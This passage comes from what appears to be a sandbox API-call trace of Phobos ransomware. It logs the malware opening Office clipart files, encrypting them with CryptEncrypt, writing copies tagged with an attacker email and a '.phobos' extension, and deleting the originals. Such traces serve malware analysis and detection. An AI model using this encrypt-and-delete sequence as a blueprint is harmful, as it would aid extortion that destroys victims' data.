dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0062.224] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=3632) returned 1 [0062.224] CloseHandle (hObject=0x328) returned 1 [0062.224] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01139_.wmf")) returned 0x220 [0062.225] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01139_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0062.225] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01139_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0062.225] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0062.225] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0062.225] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01139_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0062.230] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dcb90) returned 1 [0062.230] CryptSetKeyParam (hKey=0x10dcb90, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0062.230] ReadFile (in: hFile=0x328, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0xe30, lpOverlapped=0x0) returned 1 [0062.234] CryptEncrypt (in: hKey=0x10dcb90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0xe40, dwBufLen=0xe40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0xe40) returned 1 [0062.234] WriteFile (in: hFile=0x300, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xe40, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xe40, lpOverlapped=0x0) returned 1 [0062.235] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dcbd0) returned 1 [0062.235] CryptSetKeyParam (hKey=0x10dcbd0, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0062.235] CryptEncrypt (in: hKey=0x10dcbd0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0062.235] CryptDestroyKey (hKey=0x10dcbd0) returned 1 [0062.235] WriteFile (in: hFile=0x300, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0062.235] CryptDestroyKey (hKey=0x10dcb90) returned 1 [0062.235] CloseHandle (hObject=0x328) returned 1 [0062.235] CloseHandle (hObject=0x300) returned 1 [0062.252] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01139_.wmf")) returned 1 [0062.262] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0062.262] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01143_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0062.275] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=2140) returned 1 [0062.275] CloseHandle (hObject=0x334) returned 1 [0062.275] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01143_.wmf")) returned 0x220 [0062.275] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01143_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0062.275] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01143_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0062.276] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0062.276] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0062.276] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01143_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0062.278] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dc650) returned 1 [0062.278] CryptSetKeyParam (hKey=0x10dc650, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0062.278] ReadFile (in: hFile=0x334, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x85c, lpOverlapped=0x0) returned 1 [0062.294] CryptEncrypt (in: hKey=0x10dc650, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x860, dwBufLen=0x860 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x860) returned 1 [0062.294] WriteFile (in: hFile=0x328, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x860, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x860, lpOverlapped=0x0) returned 1 [0062.295] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dc550) returned 1 [0062.295] CryptSetKeyParam (hKey=0x10dc550, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0062.295] CryptEncrypt (in: hKey=0x10dc550, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0062.295] CryptDestroyKey (hKey=0x10dc550) returned 1 [0062.295] WriteFile (in: hFile=0x328, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0062.295] CryptDestroyKey (hKey=0x10dc650) returned 1 [0062.295] CloseHandle (hObject=0x334) returned 1 [0062.295] CloseHandle (hObject=0x328) returned 1 [0062.296] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01143_.wmf")) returned 1 [0062.297] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0062.297] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01146_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0062.304] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=2796) returned 1 [0062.304] CloseHandle (hObject=0x334) returned 1 [0062.304] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01146_.wmf")) returned 0x220 [0062.304] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01146_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0062.307] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01146_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0062.307] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0062.307] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0062.307] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01146_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0062.309] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dcc90) returned 1 [0062.309] CryptSetKeyParam (hKey=0x10dcc90, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0062.309] ReadFile (in: hFile=0x334, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0xaec, lpOverlapped=0x0) returned 1 [0062.315] CryptEncrypt (in: hKey=0x10dcc90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0xaf0, dwBufLen=0xaf0 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0xaf0) returned 1 [0062.315] WriteFile (in: hFile=0x330, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xaf0, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xaf0, lpOverlapped=0x0) returned 1 [0062.316] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dc910) returned 1 [0062.317] CryptSetKeyParam (hKey=0x10dc910, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0062.317] CryptEncrypt (in: hKey=0x10dc910, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0062.317] CryptDestroyKey (hKey=0x10dc910) returned 1 [0062.317] WriteFile (in: hFile=0x330, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0062.317] CryptDestroyKey (hKey=0x10dcc90) returned 1 [0062.317] CloseHandle (hObject=0x334) returned 1 [0062.317] CloseHandle (hObject=0x330) returned 1 [0062.317] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01146_.wmf")) returned 1 [0062.318] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0062.318] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01152_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0062.318] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=2960) returned 1 [0062.318] CloseHandle (hObject=0x330) returned 1 [0062.318] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01152_.wmf")) returned 0x220 [0062.318] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01152_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0062.318] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01152_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0062.318] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0062.319] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0062.319] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01152_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0062.319] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dc650) returned 1 [0062.319] CryptSetKeyParam (hKey=0x10dc650, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0062.319] ReadFile (in: hFile=0x330, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0xb90, lpOverlapped=0x0) returned 1 [0062.320] CryptEncrypt (in: hKey=0x10dc650, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0xba0, dwBufLen=0xba0 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0xba0) returned 1 [0062.320] WriteFile (in: hFile=0x334, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xba0, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xba0, lpOverlapped=0x0) returned 1 [0062.321] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dc8d0) returned 1 [0062.321] CryptSetKeyParam (hKey=0x10dc8d0, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0062.321] CryptEncrypt (in: hKey=0x10dc8d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0062.321] CryptDestroyKey (hKey=0x10dc8d0) returned 1 [0062.322] WriteFile (in: hFile=0x334, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0062.322] CryptDestroyKey (hKey=0x10dc650) returned 1 [0062.322] CloseHandle (hObject=0x330) returned 1 [0062.322] CloseHandle (hObject=0x334) returned 1 [0062.322] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01152_.wmf")) returned 1 [0062.323] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0062.323] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01157_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0062.323] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=3588) returned 1 [0062.323] CloseHandle (hObject=0x334) returned 1 [0062.323] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01157_.wmf")) returned 0x220 [0062.323] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01157_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0062.323] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01157_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0062.323] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0062.324] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0062.324] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01157_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0062.324] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dc9d0) returned 1 [0062.324] CryptSetKeyParam (hKey=0x10dc9d0, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0062.324] ReadFile (in: hFile=0x334, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0xe04, lpOverlapped=0x0) returned 1 [0062.328] CryptEncrypt (in: hKey=0x10dc9d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0xe10, dwBufLen=0xe10 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0xe10) returned 1 [0062.328] WriteFile (in: hFile=0x330, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xe10, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xe10, lpOverlapped=0x0) returned 1 [0062.329] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dcbd0) returned 1 [0062.329] CryptSetKeyParam (hKey=0x10dcbd0, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0062.329] CryptEncrypt (in: hKey=0x10dcbd0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0062.329] CryptDestroyKey (hKey=0x10dcbd0) returned 1 [0062.329] WriteFile (in: hFile=0x330, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0062.329] CryptDestroyKey (hKey=0x10dc9d0) returned 1 [0062.329] CloseHandle (hObject=0x334) returned 1 [0062.329] CloseHandle (hObject=0x330) returned 1 [0062.329] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01157_.wmf")) returned 1 [0062.330] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0062.330] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01162_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0062.331] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=2300) returned 1 [0062.331] CloseHandle (hObject=0x334) returned 1 [0062.332] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01162_.wmf")) returned 0x220 [0062.332] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01162_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0062.762] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01162_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0062.762] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0062.762] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0062.762] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01162_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0062.762] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dcc90) returned 1 [0062.762] CryptSetKeyParam (hKey=0x10dcc90, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0062.762] ReadFile (in: hFile=0x31c, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x8fc, lpOverlapped=0x0) returned 1 [0062.960] CryptEncrypt (in: hKey=0x10dcc90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x900, 